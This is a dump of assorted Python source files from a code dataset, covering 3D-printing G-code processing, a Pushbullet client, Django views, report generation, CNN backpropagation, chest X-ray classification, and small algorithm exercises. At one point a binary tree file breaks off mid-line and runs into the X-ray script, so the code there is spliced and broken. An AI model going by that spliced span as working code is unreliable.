912345678.0\n\t\tself.oldLocation = None\n\t\tself.previousActiveMovementLine = None\n\t\tself.previousInactiveMovementLine = None\n\n\tdef addPreviousInactiveMovementLineIfNecessary( self ):\n\t\t\"Add the previous inactive movement line if necessary.\"\n\t\tif self.previousInactiveMovementLine != None:\n\t\t\tself.distanceFeedRate.addLine( self.previousInactiveMovementLine )\n\t\t\tself.previousInactiveMovementLine = None\n\n\tdef getCraftedGcode( self, liftRepository, gcodeText ):\n\t\t\"Parse gcode text and store the lift gcode.\"\n\t\tself.liftRepository = liftRepository\n\t\tself.lines = gcodec.getTextLines( gcodeText )\n\t\tself.parseInitialization()\n\t\tself.oldLocation = None\n\t\tif self.layerStep == None:\n\t\t\tself.layerStep = self.layerThickness\n\t\tself.cuttingLift = self.layerStep * liftRepository.cuttingLiftOverLayerStep.value\n\t\tself.setMaximumZ()\n\t\tself.travelZ = self.maximumZ + 0.5 * self.layerStep + liftRepository.clearanceAboveTop.value\n\t\tfor line in self.lines[ self.lineIndex : ]:\n\t\t\tself.parseLine( line )\n\t\treturn self.distanceFeedRate.output.getvalue()\n\n\tdef getLinearMove( self, line, location, splitLine ):\n\t\t\"Get the linear move.\"\n\t\tif self.extruderActive:\n\t\t\tz = location.z + self.cuttingLift\n\t\t\treturn self.distanceFeedRate.getLineWithZ( line, splitLine, z )\n\t\tif self.previousActiveMovementLine != None:\n\t\t\tpreviousActiveMovementLineSplit = self.previousActiveMovementLine.split()\n\t\t\tself.distanceFeedRate.addLine( self.distanceFeedRate.getLineWithZ( self.previousActiveMovementLine, previousActiveMovementLineSplit, self.travelZ ) )\n\t\t\tself.previousActiveMovementLine = None\n\t\tself.distanceFeedRate.addLine( self.distanceFeedRate.getLineWithZ( line, splitLine, self.travelZ ) )\n\t\tself.previousInactiveMovementLine = line\n\t\treturn ''\n\n\tdef parseInitialization( self ):\n\t\t\"Parse gcode initialization and store the parameters.\"\n\t\tfor self.lineIndex in xrange( len( self.lines ) ):\n\t\t\tline = self.lines[ self.lineIndex ].lstrip()\n\t\t\tsplitLine = gcodec.getSplitLineBeforeBracketSemicolon( line )\n\t\t\tfirstWord = gcodec.getFirstWord( splitLine )\n\t\t\tself.distanceFeedRate.parseSplitLine( firstWord, splitLine )\n\t\t\tif firstWord == '()':\n\t\t\t\tself.distanceFeedRate.addTagBracketedLine( 'procedureDone', 'lift' )\n\t\t\t\treturn\n\t\t\telif firstWord == '(':\n\t\t\t\tself.layerThickness = float( splitLine[ 1 ] )\n\t\t\telif firstWord == '(':\n\t\t\t\tself.layerStep = float( splitLine[ 1 ] )\n\t\t\tself.distanceFeedRate.addLine( line )\n\n\tdef parseLine( self, line ):\n\t\t\"Parse a gcode line and add it to the lift skein.\"\n\t\tsplitLine = gcodec.getSplitLineBeforeBracketSemicolon( line )\n\t\tif len( splitLine ) < 1:\n\t\t\treturn\n\t\tfirstWord = splitLine[ 0 ]\n\t\tif firstWord == 'G1':\n\t\t\tlocation = gcodec.getLocationFromSplitLine( self.oldLocation, splitLine )\n\t\t\tline = self.getLinearMove( line, location, splitLine )\n\t\t\tself.previousActiveMovementLine = line\n\t\t\tself.oldLocation = location\n\t\telif firstWord == 'M101':\n\t\t\tself.addPreviousInactiveMovementLineIfNecessary()\n\t\t\tself.extruderActive = True\n\t\telif firstWord == 'M103':\n\t\t\tself.extruderActive = False\n\t\tself.distanceFeedRate.addLine( line )\n\n\tdef setMaximumZ( self ):\n\t\t\"Set maximum z.\"\n\t\tlocalOldLocation = None\n\t\tfor line in self.lines[ self.lineIndex : ]:\n\t\t\tsplitLine = gcodec.getSplitLineBeforeBracketSemicolon( line )\n\t\t\tfirstWord = gcodec.getFirstWord( splitLine )\n\t\t\tif firstWord == 'G1':\n\t\t\t\tlocation = gcodec.getLocationFromSplitLine( localOldLocation, splitLine )\n\t\t\t\tself.maximumZ = max( self.maximumZ, location.z )\n\t\t\t\tlocalOldLocation = location\n\n\ndef main():\n\t\"Display the lift dialog.\"\n\tif len( sys.argv ) > 1:\n\t\twriteOutput( ' '.join( sys.argv[ 1 : ] ) )\n\telse:\n\t\tsettings.startMainLoopFromConstructor( getNewRepository() )\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"skeinforge_tools/craft_plugins/lift.py","file_name":"lift.py","file_ext":"py","file_size_in_byte":8885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"385537981","text":"import json\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nHOST = \"https://api.pushbullet.com/v2\"\n\nclass PushBullet():\n def __init__(self, apiKey):\n self.apiKey = apiKey\n\n def _request(self, method, url, postdata=None, params=None, files=None):\n headers = {\"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\",\n \"User-Agent\": \"pyPushBullet\"}\n\n if postdata:\n postdata = json.dumps(postdata)\n\n r = requests.request(method,\n url,\n data=postdata,\n params=params,\n headers=headers,\n files=files,\n auth=HTTPBasicAuth(self.apiKey, \"\"))\n\n r.raise_for_status()\n return r.json()\n\n def getDevices(self):\n return self._request(\"GET\", HOST + \"/devices\")[\"devices\"]\n\t\t\n def pushNote(self, recipient, title, body):\n data = {\"type\": \"note\",\n \"title\": title,\n \"body\": body}\n\t\t\t\t\n data['device_iden'] = recipient\n\n return self._request(\"POST\", HOST + \"/pushes\", data)\n","sub_path":"autoDeluge/Lib/mylib/pushbullet.py","file_name":"pushbullet.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"281187196","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .forms import CreateUserForm, Process_Form\n# Create your views here.\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\n\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Process, Process_Thread, UserProfile, Process_Sub_Thread\nfrom django.contrib.auth.models import User\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .serializer import Serializers_Process, Serializers_Process_Thread, Serializers_Process_Sub_Thread, Serializers_UserProfile, Serializers_ManyUserProfile\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework import viewsets\n\n\nclass UserViewSets(viewsets.ModelViewSet):\n queryset = UserProfile.objects.filter(id=2)\n serializer_class = Serializers_UserProfile\n \n\n@api_view(['GET'])\ndef user_view(request):\n user_data = User.objects.filter(username='harish')\n \n serializer = Serializers_ManyUserProfile(user_data, many=True)\n return Response(serializer.data)\n\n\n@login_required(login_url='login')\ndef home(request):\n if request.method == 'POST':\n comments = request.POST.get('textareaid')\n process = request.POST.get('process_value')\n thread = request.POST.get('thread_value')\n sub_thread = request.POST.get('sub_thread_value')\n\n process_id = Process.objects.get(process_name=process)\n thread_id = Process_Thread.objects.get(process_thread_name=thread,process=process_id.id)\n\n sub_thread_id = Process_Sub_Thread.objects.get(process_sub_thread_name=sub_thread)\n\n order = UserProfile(user=request.user, comment= comments, user_process=process_id, user_process_thread=thread_id)\n order.save()\n order.user_process_sub_thread.add(sub_thread_id)\n order.save()\n\n return render(request, 'home.html')\n\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect('home')\n else:\n form = CreateUserForm()\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n if form.is_valid():\n form.save()\n user = form.cleaned_data.get('username')\n messages.success(request, 'Account was created for ' + user)\n return redirect('login')\n\n context = {'form': form}\n return render(request, 'register.html', context)\n\ndef loging_view(request):\n if request.user.is_authenticated:\n return redirect('home')\n else:\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password') \n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.info(request, 'Username or Password is incorrect')\n\n context = {}\n return render(request, 'login.html', context)\n\ndef logout_view(request):\n logout(request)\n return redirect('login')\n\n\ndef break_view(request):\n context = {}\n return render(request, 'break_page.html', context)\n\n\ndef count_view(request):\n if request.method == 'GET':\n user_data = UserProfile.objects.filter(user=4)\n context = {'user_data': user_data}\n return render(request, 'count_page.html', context)\n\n\ndef total_view(request):\n context = {}\n return render(request, 'total_page.html', context)","sub_path":"DjangoDir/PRDProject/PRDApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"367074342","text":"from docx.shared import Pt\nfrom docxtpl import DocxTemplate, InlineImage\nimport cx_Oracle\nimport argparse\nimport pandas as pd\nfrom datetime import datetime\nfrom src.config.appConfig import getConfig\n\nappConfig = getConfig()\nprint(appConfig)\ntmplPath = \"assets/docxtpl/template_example.docx\"\nappDbConnStr = appConfig['appDbConStr']\n\n# get an instance of argument parser from argparse module\nparser = argparse.ArgumentParser()\n\n# setup firstname, lastname arguements\nparser.add_argument('--startdate', help=\"Enter start date here\")\nparser.add_argument('--enddate', help=\"Enter end date here\")\n\n# get the dictionary of command line inputs entered by the user\nargs = parser.parse_args()\n\n# access each command line input from the dictionary\nsDate = args.startdate\neDate = args.enddate\n\ndoc = DocxTemplate(tmplPath)\ntry:\n connection= cx_Oracle.connect(appDbConnStr)\n cursor=connection.cursor()\n #print(connection.version)\n\n sql_fetch =\"\"\" SELECT * FROM IEGC_VIOLATION_MESSAGE_DATA where date_time BETWEEN TO_DATE(:col1, 'YYYY-MM-DD')\\\n and TO_DATE(:col2, 'YYYY-MM-DD')\"\"\"\n cursor.execute(\"ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD' \")\n df= pd.read_sql(sql_fetch, params={'col1': sDate, 'col2': eDate}, con=connection)\n '''cursor.execute(sql_fetch, {'col1':sDate, 'col2':eDate})\n row = cursor.fetchall()'''\n #print(df)\n #print(type(df))\n\nexcept:\n print('Error while fetching data from db')\nfinally:\n # closing database cursor and connection\n if cursor is not None:\n cursor.close()\n connection.close()\n\niegcData = []\nfor i in df.index:\n tempDict={\n 'message': df['MESSAGE'][i],\n 'date': df['DATE_TIME'][i],\n 'entity': df['ENTITY'][i],\n 'schedule': int(round(df['SCHEDULE'][i])),\n 'drawal': int(round(df['DRAWAL'][i])),\n 'deviation': int(round(df['DEVIATION'][i]))\n }\n iegcData.append(tempDict)\n \ncontext = {\n 'yr_str': \"2020-21\",\n 'wk_num': 18,\n 'st_dt': sDate,\n 'end_dt': eDate,\n 'iegc_data': iegcData\n}\n#print(iegcData)\nprint(type(iegcData))\n\ndoc.render(context)\n#doc.render(iegcData)\ndoc.save(\"assets/docxtpl/report_created.docx\")\n","sub_path":"iegc_violation_template.py","file_name":"iegc_violation_template.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"307942320","text":"#!/usr/bin/env python3\n\"\"\" fn performs backProp over a convolutional layer\n\"\"\"\n\nimport numpy as np\n\n\ndef conv_backward(dZ, A_prev, W, b, padding=\"same\", stride=(1, 1)):\n \"\"\"\n vn layer\n dZ: np.ndarray, partial derivatives\n m: num examples\n h_new: output height\n w_new: output weight\n c_new: output channels\n A_prev: np.ndarray, prev output layer\n m: num examples\n h_prev: prev height\n w_prev: prev width\n c_prev: prev channels\n w: np.ndarray, kernels\n kh: filter height\n kw: filter width\n c_prev: prev channels\n c_new: output channels\n b: (1, 1, 1, c_new)\n padding: 'same' or 'valid'\n stride: (sh, sw)\n Return: dA_prev, dW, db\n \"\"\"\n # Number of samples\n m = A_prev.shape[0]\n\n # Create placeholders for derivatives\n dA_prev = np.zeros(A_prev.shape)\n dW = np.zeros(W.shape)\n db = np.zeros(b.shape)\n\n # Size of stride from forward prop\n s = stride[0]\n\n # Retrieve height and width of kernel\n kh, kw = W.shape[0], W.shape[1]\n\n # Height as h, width as w, and depth of dZ\n h_new, w_new, c_new = dZ.shape[1], dZ.shape[2], dZ.shape[3]\n\n # Retrieve height, width, and depth of previous input layer\n h_prev, w_prev, c_prev = A_prev.shape[1], A_prev.shape[2], A_prev.shape[3]\n\n # Padding\n p = (kh + s * (h_prev - 1) - h_prev) // 2\n\n if padding == \"same\":\n p = (h_prev - kh + 2 * p) // s + 1\n prev1 = ((0, 0), (p, p), (p, p), (0, 0))\n dA_prev = np.pad(dA_prev, prev1, 'constant', constant_values=0)\n A_prev_pad = np.pad(A_prev, prev1, 'constant', constant_values=0)\n else:\n p = 0\n A_prev_pad = A_prev\n\n for sample in range(m):\n for depth in range(c_new):\n for h in range(h_new):\n for w in range(w_new):\n dA_prev[sample, h*s:h*s+kh, w*s:w*s+kw, :] +=\\\n W[:, :, :, depth] * dZ[sample, h, w, depth]\n dW[:, :, :, depth] +=\\\n A_prev_pad[sample, h*s:h*s+kh, w*s:w*s+kw, :] * \\\n dZ[sample, h, w, depth]\n db[:, :, :, depth] += dZ[sample, h, w, depth]\n\n if p:\n return dA_prev[:, p:-p, p:-p, :], dW, db\n return dA_prev, dW, db\n","sub_path":"supervised_learning/0x07-cnn/2-conv_backward.py","file_name":"2-conv_backward.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"83925404","text":"class Node(object):\n def constructor(self):\n self.data = \" \"\n self.rightPtr = None\n self.leftPtr = None\n\n def setData(self,s):\n self.data = s\n\n def setLeftPtr(self,x):\n self.leftPtr = x\n\n def setRightPtr(self,y):\n self.rightPtr = y\n\n def getData(self):\n return self.data\n\n def getLeftPtr(self):\n return self.leftPtr\n\n def getRightPtr(self):\n return self.rightPtr\n\n\nclass Tree(object):\n def constructor(self):\n self.tree = []\n self.root = -1\n\n def add(self,newItem):\n newnode = Node()\n newnode.constructor()\n newnode.setData(newItem)\n self.tree.append(newnode)\n\n if self.root == -1:\n self.root = 0\n else:\n prevpos = -1\n curpos = 0\n lastmove = \" \"\n while curpos != None:\n if newItem0]\nprint('All Labels ({}): {}'.format(len(all_labels), all_labels))\nfor c_label in all_labels:\n if len(c_label)>1: # leave out empty labels\n df[c_label] = df['Finding Labels'].map(lambda finding: 1.0 if c_label in finding else 0)\n\n\n# In[11]:\n\n\nfrom sklearn.model_selection import train_test_split\ntrain_df, valid_df = train_test_split(df,\n test_size = 0.10,\n random_state = 2500,\n stratify = df['Finding Labels'].map(lambda x: x[:4]))\nprint('train shape: ', train_df.shape[0], 'validation shape:', valid_df.shape[0])\n\n\n# In[12]:\n\n\ntrain_df.head()\n\n\n# In[13]:\n\n\ndef check_for_leakage(df1, df2, patient_col):\n df1_patients_unique = set(df1[patient_col].unique().tolist())\n df2_patients_unique = set(df2[patient_col].unique().tolist())\n \n patients_in_both_groups = list(df1_patients_unique.intersection(df2_patients_unique))\n n_overlap = len(patients_in_both_groups)\n # leakage contains true if there is patient overlap, otherwise false.\n leakage = True if(len(patients_in_both_groups)>1) else False # boolean (true if there is at least 1 patient in both groups)\n \n if(leakage):\n print(\"There are\", len(patients_in_both_groups), \" patients in both groups.\")\n \n train_overlap_idxs = []\n valid_overlap_idxs = []\n for idx in range(n_overlap):\n train_overlap_idxs.extend(train_df.index[train_df['Patient ID'] == patients_in_both_groups[idx]].tolist())\n valid_overlap_idxs.extend(valid_df.index[valid_df['Patient ID'] == patients_in_both_groups[idx]].tolist())\n \n train_df.drop(train_overlap_idxs, inplace=True)\n ### END CODE HERE ###\n \n return leakage\n\n\n# In[14]:\n\n\nprint(\"leakage between train and valid: {}\".format(check_for_leakage(train_df, valid_df, 'Patient ID')))\n\n\n# In[15]:\n\n\nprint(\"leakage between train and valid: {}\".format(check_for_leakage(train_df, valid_df, 'Patient ID')))\n\n\n# In[16]:\n\n\nfrom keras.preprocessing.image import ImageDataGenerator\nIMG_SIZE = (320,320)\n\n\n# In[17]:\n\n\ndatagen = ImageDataGenerator(samplewise_center=True,\n samplewise_std_normalization=True,\n horizontal_flip = False,\n vertical_flip = False,\n rescale = 1./255,\n height_shift_range= 0.05,\n width_shift_range=0.1,\n rotation_range=5,\n shear_range = 0.1,\n fill_mode = 'reflect',\n zoom_range=0.15)\n\n\n# In[18]:\n\n\n\ntrain_gen = datagen.flow_from_dataframe(dataframe= train_df,\n directory='./images/',\n x_col='Image Index',\n y_col = labels,\n target_size = IMG_SIZE,\n class_mode='raw',\n shuffle=True,\n batch_size = 32)\n\n\n# In[19]:\n\n\nvalid_gen = datagen.flow_from_dataframe(dataframe= valid_df,\n directory='./images/',\n x_col = 'Image Index',\n y_col = labels,\n class_mode='raw',\n target_size = IMG_SIZE,\n # color_mode = 'grayscale',\n batch_size = 32)\n\n\n# In[20]:\n\n\nimport tensorflow as tf\n\n\n# In[21]:\n\n\nplt.xticks(rotation=90)\nplt.bar(x=labels, height=np.mean(train_gen.labels, axis=0))\nplt.title(\"Frequency of Each Class\")\nplt.show()\n\n\n# In[22]:\n\n\ndef compute_class_freqs(labels):\n \n N = labels.shape[0]\n \n positive_frequencies = np.sum(labels, axis=0)/N\n negative_frequencies = 1- positive_frequencies\n\n return positive_frequencies, negative_frequencies\n\n\n# In[23]:\n\n\nfreq_pos, freq_neg = compute_class_freqs(train_gen.labels)\n\n\n# In[26]:\n\n\nimport seaborn as sns\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\ndata = pd.DataFrame({\"Class\": labels, \"Label\": \"Positive\", \"Value\": freq_pos})\ndata = data.append([{\"Class\": labels[l], \"Label\": \"Negative\", \"Value\": v} for l,v in enumerate(freq_neg)], ignore_index=True)\nplt.xticks(rotation=90)\nf = sns.barplot(x=\"Class\", y=\"Value\", hue=\"Label\" ,data=data)\n\npos_weights = freq_neg\nneg_weights = freq_pos\npos_contribution = freq_pos * pos_weights\nneg_contribution = freq_neg * neg_weights\n\ndata = pd.DataFrame({\"Class\": labels, \"Label\": \"Positive\", \"Value\": pos_contribution})\ndata = data.append([{\"Class\": labels[l], \"Label\": \"Negative\", \"Value\": v}\n for l,v in enumerate(neg_contribution)], ignore_index=True)\nplt.xticks(rotation=90)\nsns.barplot(x=\"Class\", y=\"Value\", hue=\"Label\" ,data=data);\n\nfrom keras import backend as K\n\n\n# UNQ_C3 (UNIQUE CELL IDENTIFIER, DO NOT EDIT)\ndef get_weighted_loss(pos_weights, neg_weights, epsilon=1e-7):\n \"\"\"\n Return weighted loss function given negative weights and positive weights.\n\n Args:\n pos_weights (np.array): array of positive weights for each class, size (num_classes)\n neg_weights (np.array): array of negative weights for each class, size (num_classes)\n\n Returns:\n weighted_loss (function): weighted loss function\n \"\"\"\n\n def weighted_loss(y_true, y_pred):\n\n\n loss = 0.0\n\n\n\n for i in range(len(pos_weights)):\n\n loss += -(K.mean(pos_weights[i] * y_true[:, i] * K.log(y_pred[:, i] + epsilon) + neg_weights[i] * (\n 1 - y_true[:, i]) * K.log(1 - y_pred[:, i] + epsilon), axis=0))\n\n\n return loss\n\n\n\n return weighted_loss\n\n\n# In[ ]:\n\n\nfrom keras.layers import GlobalAveragePooling2D, Dense, Dropout, Flatten\nfrom keras.models import Sequential\nbase_model = tf.keras.applications.MobileNetV2(input_shape = (320,320,3), include_top = False, weights = 'imagenet')\nbase_model.trainable=False\nbase_model.summary()\n\n\n\n# In[ ]:\n\n\nglobal_average_layer = tf.keras.layers.GlobalAveragePooling2D()\nprediction_layer = tf.keras.layers.Dense(len(all_labels), activation = 'sigmoid')\n\n\n# In[ ]:\n\n\nmodel = tf.keras.Sequential([\n base_model,\n global_average_layer,\n prediction_layer\n])\n\n\n# In[ ]:\n\n\nmodel.compile(optimizer = 'adam', loss=get_weighted_loss(pos_weights, neg_weights),\n metrics = ['accuracy', 'categorical_accuracy', 'binary_accuracy'])\n\n\nmodel.summary()\n\n\nhistory = model.fit_generator(generator=train_gen,\n steps_per_epoch=147,\n validation_data=valid_gen,\n validation_steps=18,\n epochs=50\n )\n\n\n# In[ ]:\n\n\nmodel.save('chest_fi.h5')\n\n\n# In[ ]:\n\n\nplt.figure(figsize=[8,6])\nplt.plot(history.history['loss'], 'black', linewidth=3.0)\nplt.plot(history.history['val_loss'], 'black',ls='--', linewidth=3.0)\nplt.legend([\"Training loss\", \"validatoin loss\"], fontsize=18)\nplt.xlabel(\"Epochs\", fontsize=16)\nplt.xlabel(\"Loss\", fontsize=16)\nplt.title(\"Loss Curve\")\n\n\n# In[ ]:\n\n\nplt.figure(figsize=[8,6])\nplt.plot(history.history['binary_accuracy'], 'black', linewidth=3.0)\nplt.plot(history.history['val_binary_accuracy'], 'black',ls='--', linewidth=3.0)\nplt.legend([\"Training acc\", \"validation acc\"], fontsize=18)\nplt.xlabel(\"Epochs\", fontsize=16)\nplt.xlabel(\"Accuracy\", fontsize=16)\nplt.title(\"Accuracy Curve\")\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"ML DATA/finalish_model.py","file_name":"finalish_model.py","file_ext":"py","file_size_in_byte":8740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"62732664","text":"# -*- coding: utf-8 -*-\n\nfrom functools import wraps\nfrom flask import g,request,render_template,redirect,url_for\n\nfrom MFConfig import *\nfrom MFUserView import *\nfrom MFEmoticonViews import *\nfrom MFUtils import *\n\napp = Flask(__name__)\napp.debug=True\napp.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\n_a=APPClient()\n# views\nlogin_renren_view = view_login_renren.as_view('login_renren_view')\noauthed_renren_view=view_oauthed_renren.as_view('oauthed_renren_view')\noauth_failed_renren_view =view_oauth_failed_renren.as_view('oauth_failed_view')\nemoticons_get_all_view = view_emoticons_get_all.as_view('emoticon_get_all_view')\nfriends_get_all_view = view_user_friends_renren_all.as_view('user_friends_all')\nuser_status_renren_get_view =view_user_status_renren_get.as_view('user_status_get')\nuser_comments_renren_get_view=view_user_comments_renren_get.as_view('user_comments_get')\nuser_visitor_renren_get_view=view_user_visitor_renren_get.as_view('user_visitor_get')\nana_view=view_ana.as_view('ana_view')\n#lashou_view=view_lashou.as_view('lashou_view')\n#user_status_all_view=view_all_status.as_view('status_all_view')\n# url views\napp.add_url_rule('/login',view_func=login_renren_view)\napp.add_url_rule('/user/oauthlogin',view_func=oauthed_renren_view)\napp.add_url_rule('/oauth/fail',view_func=oauth_failed_renren_view)\napp.add_url_rule('/emo/get',view_func=emoticons_get_all_view)\napp.add_url_rule('/friends/get',view_func=friends_get_all_view)\napp.add_url_rule('/user/status',view_func=user_status_renren_get_view)\napp.add_url_rule('/user/comments',view_func=user_comments_renren_get_view)\napp.add_url_rule('/user/v',view_func=user_visitor_renren_get_view)\napp.add_url_rule('/user/ana',view_func=ana_view)\n#app.add_url_rule('/user/lashou',view_func=lashou_view)\n#app.add_url_rule('/user/s',view_func=user_status_all_view)\n\nif __name__=='__main__':\n app=_a.add(view_lashou,'/ser/lashou')\n app=_a.add(view_all_status,'/user/s')\n app.run()\n ","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"627349230","text":"''' ********************************************************************\n 题目描述\n HZ偶尔会拿些专业问题来忽悠那些非计算机专业的同学。\n 今天测试组开完会后,他又发话了:在古老的一维模式识别中,\n 常常需要计算连续子向量的最大和,当向量全为正数的时候,问题很好解决。\n 但是,如果向量中包含负数,是否应该包含某个负数,并期望旁边的正数会弥补它呢?\n 例如:{6,-3,-2,7,-15,1,2,2},连续子向量的最大和为8(从第0个开始,到第3个为止)。\n 给一个数组,返回它的最大连续子序列的和,你会不会被他忽悠住?(子向量的长度至少是1)\n******************************************************************** ''' \n# -*- coding:utf-8 -*-\nclass Solution:\n def FindGreatestSumOfSubArray(self, array):\n n = len(array)\n max_sum = array[0]\n for i in range(1,n+1):\n for j in range(n+1-i):\n sum_i = sum(array[j:j+i])\n if sum_i > max_sum:\n max_sum = sum_i\n return max_sum\n\n''' ********************************************************************\n 解题思路:\n 最笨的方法是遍历,1个数,2个数,...n个数的和,但是这么常规的解法是拿不到offer\n******************************************************************** '''\n# -*- coding:utf-8 -*-\nclass Solution:\n def FindGreatestSumOfSubArray(self, array):\n if not array: # 如果序列为空,则返回空\n return \n max_sum = sum_part = array[0] # 统计从第一个数开始\n for i in range(1,len(array)):\n if sum_part < 0: # 如果序列和小于0,则此序列没有叠加的必要\n sum_part = array[i]\n else: # 如果序列和大于0,继续叠加\n sum_part += array[i]\n if sum_part > max_sum: # 在叠加的过程中记录最大值\n max_sum = sum_part\n return max_sum\n\n","sub_path":"42连续子数组的最大和.py","file_name":"42连续子数组的最大和.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"234300654","text":"#!python\n# -*- coding: utf-8 -*-#\n###########################################################################\n# Author : Bhishan Poudel; Physics Graduate Student, Ohio University\n# Date : Sep 21, 2017\n# Last update :\n###########################################################################\n\"\"\"\n:Topic: Ridge Regression With Grad descent\n\n:Ref: http://hyperanalytic.net/ridge-regression\n\n:Algorithm:\n\n βj := βj - α[(1/m)Σ(yi-f(xi))(xi)+(λ/m)βj]\n\n\"\"\"\n# Imports\nimport numpy as np\nfrom sklearn import datasets\nfrom scipy import stats\n\ndef RidgeGradientDescent(x, y, alpha, iters, L):\n x=np.matrix(x)\n y=np.matrix(y).transpose()\n m, n = np.shape(x)\n beta = np.matrix(np.ones(n)).transpose()\n XT = x.transpose()\n for i in range(0, iters):\n y_hat = np.dot(x, beta)\n residuals = y_hat - y\n MSE = (residuals.transpose()*residuals)/len(x)\n print (\"iteration:\", i, \"MSE:\", MSE)\n ols_gradient = np.dot(XT, residuals) / m\n beta = beta - alpha * (ols_gradient + (L/m)*beta)\n return beta\n\ndef main():\n \"\"\"Run main function.\"\"\"\n diabetes = datasets.load_diabetes()\n\n X = diabetes.data\n y = diabetes.target\n intercept = np.ones(len(X))\n X = np.append(intercept, X)\n X = np.reshape(X,(442,11))\n\n Z = stats.zscore(X, axis=0)\n Y = stats.zscore(y)\n\n w = RidgeGradientDescent(Z,Y,.1,5000,.1)\n print (w.T)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Machine_Learning_Univ_Course_(2017Fall)/Extra_hw/Extra_hw01/ridge_regression/ridge_grad_desc.py","file_name":"ridge_grad_desc.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"69846886","text":"import tensorflow as tf\r\nfrom tensorflow.compat.v1 import keras\r\nfrom tensorflow.compat.v1.keras import utils\r\nfrom tensorflow.compat.v1.keras import layers\r\nfrom tensorflow.compat.v1.keras import datasets\r\nfrom tensorflow.compat.v1.keras.callbacks import EarlyStopping\r\nfrom tensorflow.compat.v1.keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport PIL.Image as pil\r\nimport os.path\r\nimport time\r\nimport cv2\r\nfrom tensorflow.compat.v1.keras import backend as K\r\nimport cash_db\r\n\r\n#데이터 폴더의 이미지를 LOADING 한다.\r\ndata_folder = \"./test_image/\"\r\nMINIMUM_IMAGE_NUM = 601\r\nMININUM_TEST_NUM = 10\r\n\r\n#훈련중인 모델을 저장할 경로와 파일 이름\r\ncheckpoint_path = 'model'\r\ncheckpoint_dir = './checkpoints/'\r\n\r\ntrain_images = []\r\ntrain_labels = []\r\ntest_images = []\r\ntest_labels = []\r\n\r\nresult_labels = []\r\nresult_labels_set = []\r\nfinal_result_labels = []\r\nfinal_result_count = []\r\n\r\n#우리가 분류해야될 물품의 목록을 모아놓는다.\r\nclass_names = []\r\n\r\nclass_prices = []\r\n\r\ntest_names = [\r\n 'testsetA',\r\n]\r\n\r\ndict_class_names = None\r\n\r\nbatch_size = 1000\r\nnum_classes = len(class_names)\r\nepochs = 20\r\nmodel = []\r\n#최종 accuracy가 가장 높은 model을 저장해 놓는다.\r\nfinal_model = None\r\n#각 훈련 집합마다 accuracy를 측정하여 가장 높은 정확도를 가지는 모델을 가지고 있는다.\r\nglobal_accuracy = 0.0\r\n\r\n#db에 있는 물품을 끌어올린 후에 다시 훈련시키기 위해\r\nmydb = cash_db.MySql(user = 'root', password = 'root', db_name = 'smart_cashier')\r\nmydb.connect()\r\nresult = mydb.select_all()\r\nfor data in result:\r\n class_names.append(data[0])\r\n class_prices.append(data[1])\r\n#여기서 끝\r\nmydb.close_db()\r\n\r\n#class_names의 list를 0, 1, 2.... 숫자 label로 바꾼다\r\ndef list_to_dictionary():\r\n global dict_class_names\r\n dict_class_names = {class_names[i] : i for i in range(0, len(class_names))}\r\n\r\n#우리가 모아놓은 폴더에서 image와 label를 load한다.\r\n#데이터에 맞게 label를 load해야 한다. ex) 의자 : 0, 과자 : 1, 핸드폰 : 2....\r\ndef load_data():\r\n global train_images\r\n global train_labels\r\n global test_images\r\n global test_labels\r\n global final_model\r\n\r\n #label를 위한 키 값 정리\r\n list_to_dictionary() \r\n #훈련 데이터 평균 size 하기\r\n #훈련 데이터 및 label 정의하기\r\n \r\n (width, height) = data_img_size()\r\n #이미지의 사이즈를 txt로써 저장한다.\r\n fp = open(\"img_size.txt\", \"w\")\r\n fp.write(str(width) + ' ' + str(height))\r\n fp.close()\r\n train_data_img(width, height)\r\n print(train_images.shape[1:]) \r\n test_data_img(width, height)\r\n data_shuffle()\r\n\r\n #범주 안에 들어가게 하기 위해\r\n train_images = train_images / 255\r\n test_images = test_images / 255\r\n \r\n #cifar_mnist = datasets.cifar10\r\n #(train_images, train_labels), (test_images, test_labels) = cifar_mnist.load_data()\r\n #print(test_images.shape)\r\n '''\r\n train_images = np.array(train_images, dtype = np.float32)\r\n 